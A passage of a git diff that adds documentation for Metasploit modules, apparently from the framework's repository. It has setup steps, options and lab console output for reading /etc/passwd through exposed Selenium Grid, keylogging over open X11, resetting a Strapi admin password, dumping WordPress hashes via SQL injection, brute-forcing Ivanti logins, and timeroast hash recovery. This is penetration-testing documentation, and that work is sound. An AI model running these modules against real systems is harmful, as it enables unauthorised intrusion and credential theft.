+2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use auxiliary/gather/selenium_file_read` +4. Do: `run rhost=` +5. You should get a file content + + +## Options + +### SCHEME (Required) + +This is the scheme to use. Default is `file`. + +### FILEPATH (Required) + +This is the file to read. Default is `/etc/passwd`. + +### BROWSER (Required) + +This is the browser to use. Default is `firefox`. + +### TIMEOUT (required) + +This is the amount of time (in seconds) that the module will wait for the payload to be +executed. Defaults to 75 seconds. + + +## Scenarios +### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 +``` +msf6 > use auxiliary/gather/selenium_file_read +msf6 auxiliary(gather/selenium_file_read) > options + +Module options (auxiliary/gather/selenium_file_read): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge) + FILEPATH /etc/passwd yes File to read + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 4444 yes The target port (TCP) + SCHEME file yes The scheme to use + SSL false no Negotiate SSL/TLS for outgoing connections + TIMEOUT 75 yes Timeout for exploit (seconds) + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.141.59 detected +[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin + +[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. +[*] Auxiliary module execution completed +``` + +### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609). +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin +systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin +messagebus:x:103:104::/nonexistent:/usr/sbin/nologin +rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin +pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin + +[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. +[*] Auxiliary module execution completed +``` + +### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7). +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin +rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin +pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin + +[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. +[*] Auxiliary module execution completed +``` + +### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448 +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1). +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin + +[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. +[*] Auxiliary module execution completed +``` + +### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (363b104ba9d167f434518d3eb1add0c6). +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin + +[*] Deleted session (363b104ba9d167f434518d3eb1add0c6). +[*] Auxiliary module execution completed +``` + +### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge +[*] Running module against 192.168.56.16 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5). +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +seluser:x:1200:1201::/home/seluser:/bin/bash +systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin +pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin + +[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5). +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/gather/windows_secrets_dump.md b/documentation/modules/auxiliary/gather/windows_secrets_dump.md index 3d08b25cbdfc..b0a94e59012f 100644 --- a/documentation/modules/auxiliary/gather/windows_secrets_dump.md +++ b/documentation/modules/auxiliary/gather/windows_secrets_dump.md @@ -27,7 +27,7 @@ Solino. ### Setup A privileged user is required to run this module, typically a local or domain Administrator. It has been tested against multiple Windows versions, from -Windows XP/Server 2003 to Windows 10/Server version 2004. +Windows XP/Server 2003 to Windows 10/Server version 2022. ## Verification Steps 1. Start msfconsole @@ -53,6 +53,18 @@ Windows XP/Server 2003 to Windows 10/Server version 2004. Use inline technique to read protected keys from the registry remotely without saving the hives to disk (default: true). +### KRB_USERS +Restrict retrieving domain information to the users or groups specified. This +is a comma-separated list of Active Directory groups and users. This parameter +is only utilised for domain replication (`action` set to `DOMAIN` or `ALL`). +`set KRB_USERS "user1,user2,Domain Admins" + +### KRB_TYPES +Restrict retrieving domain information to a specific type of account; either +`USERS_ONLY` or `COMPUTERS_ONLY`, or `ALL` to retrieve all accounts. This +parameter is only utilised for domain replication (`action` set to `DOMAIN` or +`ALL`). It is ignored if `KRB_USERS` is also set. + ## Actions ### ALL diff --git a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md new file mode 100644 index 000000000000..c6a52cf9e5ec --- /dev/null +++ b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md @@ -0,0 +1,171 @@ +## Vulnerable Application + +This module binds to an open X11 host to log keystrokes. The X11 service can accept +connections from any users when misconfigured with the command `xhost +`. +This module is a close copy of the old xspy c program which has been on Kali for a long time. +The module works by connecting to the X11 session, creating a background +window, binding a keyboard to it and creating a notification alert when a key +is pressed. + +One of the major limitations of xspy, and thus this module, is that it polls +at a very fast rate, faster than a key being pressed is released (especially before +the repeat delay is hit). To combat printing multiple characters for a single key +press, repeat characters arent printed when typed in a very fast manor. This is also +an imperfect keylogger in that keystrokes arent stored and forwarded but status +displayed at poll time. Keys may be repeated or missing. + +### Ubuntu 10.04 + +1. `sudo nano /etc/gdm/gdm.schemas` +2. Find: + + ``` + + security/DisallowTCP + b + true + + ``` + - Change `true` to `false` + +3. logout or reboot +4. Verification: ```sudo netstat -antp | grep 6000``` + + ``` + tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X + ``` + +5. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Ubuntu 12.04, 14.04 + +1. `sudo nano /etc/lightdm/lightdm.conf` +2. Under the `[SeatDefaults]` area, add: + + ``` + xserver-allow-tcp=true + allow-guest=true + ``` + +3. logout or reboot +4. Verification: ```sudo netstat -antp | grep 6000``` + + ``` + tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X + ``` + +5. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Ubuntu 16.04 + + Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*` + +### Fedora 15 + +1. `vi /etc/gdm/custom.conf` +2. Under the `[security]` area, add: + + ``` + DisallowTCP=false + ``` + +3. logout/reboot +4. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Solaris 10 + +1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true` +2. `svc disable cde-login` +3. `svc enable cde-login` +4. `xhost +` + +### Ubuntu 22.04 + +#### Server + +Getting X11 to listen on a TCP port is rather taxing, so we use socat to facilitate instead. + +1. `sudo apt-get install ubuntu-desktop socat` # overkill but it gets everything we need +2. `sudo reboot` # prob a good idea since so much was installed +3. `sudo xhost +` # must be done through gui, not through SSH +4. `socat -d -d TCP-LISTEN:6000,fork,bind= UNIX-CONNECT:/tmp/.X11-unix/X0`, you may need to use `X1` instead of `X0` depending on context. + +## Verification Steps + +1. Configure X11 to listen on port 6000, or use `socat` to open a socket. +1. Start msfconsole +1. Do: `use auxiliary/gather/x11_keyboard_spy` +1. Do: `set rhosts [IP]` +1. Do: `run` +1. You should print keystrokes as they're pressed + +## Options + +### LISTENER_TIMEOUT + +How many seconds to keylog for. +If set to `0`, wait forever. Defaults to `600`, 10 minutes. + +### PRINTERVAL + +The interval to print keylogs in seconds. Defaults to `60`. + +## Scenarios + +### Ubuntu 22.04 + +``` +[*] Processing xspy.rb for ERB directives. +resource (xspy.rb)> use auxiliary/gather/x11_keyboard_spy +resource (xspy.rb)> set verbose true +verbose => true +resource (xspy.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(gather/x11_keyboard_spy) > run +[*] Running module against 127.0.0.1 + +[*] 127.0.0.1:6000 - Establishing TCP Connection +[*] 127.0.0.1:6000 - [1/9] Establishing X11 connection +[-] 127.0.0.1:6000 - Connection packet malformed (size: 8192), attempting to get read more data +[+] 127.0.0.1:6000 - Successfully established X11 connection +[*] 127.0.0.1:6000 - Version: 11.0 +[*] 127.0.0.1:6000 - Screen Resolution: 958x832 +[*] 127.0.0.1:6000 - Resource ID: 33554432 +[*] 127.0.0.1:6000 - Screen root: 1320 +[*] 127.0.0.1:6000 - [2/9] Checking on BIG-REQUESTS extension +[+] 127.0.0.1:6000 - Extension BIG-REQUESTS is present with id 134 +[*] 127.0.0.1:6000 - [3/9] Enabling BIG-REQUESTS +[*] 127.0.0.1:6000 - [4/9] Creating new graphical context +[*] 127.0.0.1:6000 - [5/9] Checking on XKEYBOARD extension +[+] 127.0.0.1:6000 - Extension XKEYBOARD is present with id 136 +[*] 127.0.0.1:6000 - [6/9] Enabling XKEYBOARD +[*] 127.0.0.1:6000 - [7/9] Requesting XKEYBOARD map +[*] 127.0.0.1:6000 - [8/9] Enabling notification on keyboard and map +[*] 127.0.0.1:6000 - [9/9] Creating local keyboard map +[+] 127.0.0.1:6000 - All setup, watching for keystrokes +[+] 127.0.0.1:6000 - X11 Key presses observed: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do +[-] 127.0.0.1:6000 - No key presses observed +[-] 127.0.0.1:6000 - No key presses observed +[-] 127.0.0.1:6000 - No key presses observed +[-] 127.0.0.1:6000 - No key presses observed +[-] 127.0.0.1:6000 - No key presses observed +[-] 127.0.0.1:6000 - No key presses observed +[-] 127.0.0.1:6000 - No key presses observed +[-] 127.0.0.1:6000 - No key presses observed +[*] 127.0.0.1:6000 - Closing X11 connection +[+] 127.0.0.1:6000 - Logged keys stored to: /root/.msf4/loot/20240226150211_default_127.0.0.1_x11.keylogger_839830.txt +[-] 127.0.0.1:6000 - Stopping running against current target... +[*] 127.0.0.1:6000 - Control-C again to force quit all targets. +[*] Auxiliary module execution completed +``` + +## Confirming + +To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy) + +The output will be very similar to the metasploit module, but may differ. Compare the below two entries (spaces added to xspy for alignment): + +``` +xspy: the quck rown foxumps over the lazy do +msf: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do +``` diff --git a/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md b/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md new file mode 100644 index 000000000000..d586ec57f280 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md @@ -0,0 +1,59 @@ +## Vulnerable Application + +This module abuses the mishandling of a password reset request for +Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user. + +Successfully tested against Strapi CMS version 3.0.0-beta.17.4. + +### Install + + +``` +docker run -it -p 1337:1337 --rm node:16 /bin/bash +export CXXFLAGS="-std=c++17" +# Complete the quickstart +npm install -g create-strapi-app@3.0.0-beta.17.4 && create-strapi-app yourProjectName +``` + +Navigate to http://localhost:1337/ to verify the application is running. Now create the first admin account at http://localhost:1337/admin + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/strapi_3_password_reset` +1. Do: `set new_password testtesttest` +1. Do: `set rport 1337` +1. Do: `set rhosts 127.0.0.1` +1. Do: `run` +1. You should be able to reset the admin users password + +## Options + +### NEW_PASSWORD + +New Admin password. No default. + +## Scenarios + +### npx install of strapi 3.0.0-beta.17.4 + +``` +msf6 > use auxiliary/scanner/http/strapi_3_password_reset +msf6 auxiliary(scanner/http/strapi_3_password_reset) > set new_password testtesttest +new_password => testtesttest +msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rport 1337 +rport => 1337 +msf6 auxiliary(scanner/http/strapi_3_password_reset) > check +[-] This module does not support check. +msf6 auxiliary(scanner/http/strapi_3_password_reset) > run + +[*] Resetting admin password... +[+] Password changed successfully! +[+] User: superadminuser +[+] Email: none@none.com +[+] PASSWORD: testtesttest +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md new file mode 100644 index 000000000000..507742d293c9 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -0,0 +1,54 @@ +## Vulnerable Application + +Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability +via the `question_id` parameter. + +An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information, +such as usernames and password hashes, from the `wp_users` table. + +The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/). +The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip + +## Verification Steps + +1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin. +2. Start `msfconsole`. +3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`. +4. Set the target host: `set RHOSTS [ip]`. +5. Adjust other options as necessary, such as `TARGETURI` (default is `/`). +6. Execute the module: `run`. +7. The module should retrieve usernames and password hashes from the WordPress installation. + +## Options + +## Scenarios + +### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04 + +#### Example + +```sh +msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli +[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104 +RHOSTS => 192.168.1.104 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000 +RPORT => 8000 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress +TARGETURI => /wordpress +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit +[*] Running module against 192.168.1.104 + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Exploiting SQLi in Perfect Survey plugin... +[*] Extracting credential information + +WordPress User Credentials +========================== + + Username Email Hash + -------- ----- ---- + admin admin@localhost.com $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1 +msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > +``` diff --git a/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md b/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md new file mode 100644 index 000000000000..069a5df93c3f --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md @@ -0,0 +1,19 @@ +## Description + +The module performs bruteforce attack against Ivanti Connect Secure. +It allows to attack both regular user and admin as well - you can select which type of account to attack with `ADMIN` parameter. + +## Vulnerable Application + +- [Ivanti](https://www.ivanti.com/products/connect-secure-vpn) + +## Verification Steps + +1. `use auxiliary/scanner/ivanti/login_scanner` +2. `set RHOSTS [IP]` +3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]` +4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]` +5. `set ADMIN [attack admin?]` +6. `run` + + diff --git a/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.md b/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.md new file mode 100644 index 000000000000..d0207cb4827a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.md @@ -0,0 +1,96 @@ +## Vulnerable Application + +## Verification Steps + +1. Use the supplied Dockerfile to start a vulnerable instance of the application + 1. Build it with: `docker build -t ntpd:4.2.8p3 .` + 1. Run it with: `docker run --rm -it --name ntp-server -p 123:123/udp ntpd:4.2.8p3` +1. Start `msfconsole` and use the module +1. Set the `RHOSTS` value as necessary +1. Run the module and see that the target is vulnerable + +### Dockerfile +Use this as `ntp.conf`: + +``` +# Basic NTP configuration +server 0.pool.ntp.org iburst +server 1.pool.ntp.org iburst +server 2.pool.ntp.org iburst +server 3.pool.ntp.org iburst + +driftfile /var/lib/ntp/ntp.drift + +# Enable authentication for secure associations +enable auth + +# Define trusted keys +trustedkey 1 + +# Open restrictions for all clients on the local network (example: 192.168.0.0/16) +restrict default kod nomodify notrap +restrict 127.0.0.1 +restrict ::1 +restrict 192.168.0.0 mask 255.255.0.0 autokey + +# Uncomment to allow all clients (use cautiously) +# restrict default kod nomodify notrap +``` + +Use this as `Dockerfile`: + +``` +ARG version=4.2.8p3 +FROM ubuntu:16.04 +ARG version + +# Install dependencies +RUN apt-get update && apt-get install -y \ + wget \ + build-essential \ + libcap-dev \ + libssl-dev && \ + apt-get clean + +# Download and build NTPD +WORKDIR /tmp +RUN wget https://web.archive.org/web/20240608062853/https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-$version.tar.gz && \ + tar -xzf ntp-$version.tar.gz && \ + cd ntp-$version && \ + ./configure --prefix=/usr/local --enable-linuxcaps && \ + make && \ + make install && \ + cd .. && \ + rm -rf ntp-$version* + +# Add configuration file +COPY ntp.conf /etc/ntp.conf + +# Expose NTP port (123) +EXPOSE 123/udp + +# Run ntpd +ENTRYPOINT ["/usr/local/bin/ntpd"] +CMD ["-g", "-d", "-d"] +``` + +## Options + +## Scenarios + +### Ubuntu 16.04 NTPd 4.2.8p3 + +``` +metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > set RHOSTS 192.168.159.128, 192.168.159.10 +RHOSTS => 192.168.159.128, 192.168.159.10 +metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > run +[+] 192.168.159.128:123 - NTP - VULNERABLE: Accepted a NTP symmetric active association +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 1 of 2 hosts (50% complete) +[*] Scanned 2 of 2 hosts (100% complete) +[*] Auxiliary module execution completed +metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > +``` diff --git a/documentation/modules/auxiliary/scanner/ntp/timeroast.md b/documentation/modules/auxiliary/scanner/ntp/timeroast.md new file mode 100644 index 000000000000..e36067740cf8 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ntp/timeroast.md @@ -0,0 +1,47 @@ +## Vulnerable Application +Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first +48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes +that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but +because RIDs are sequential, they can easily be enumerated. + +## Verification Steps + +1. Setup a Windows domain controller target +1. Start msfconsole +1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action + 1. Note the RID (the last part of the SID) and password of the new account +1. Use the `auxiliary/scanner/ntp/timeroast` module +1. Set the `RHOSTS` option to the target 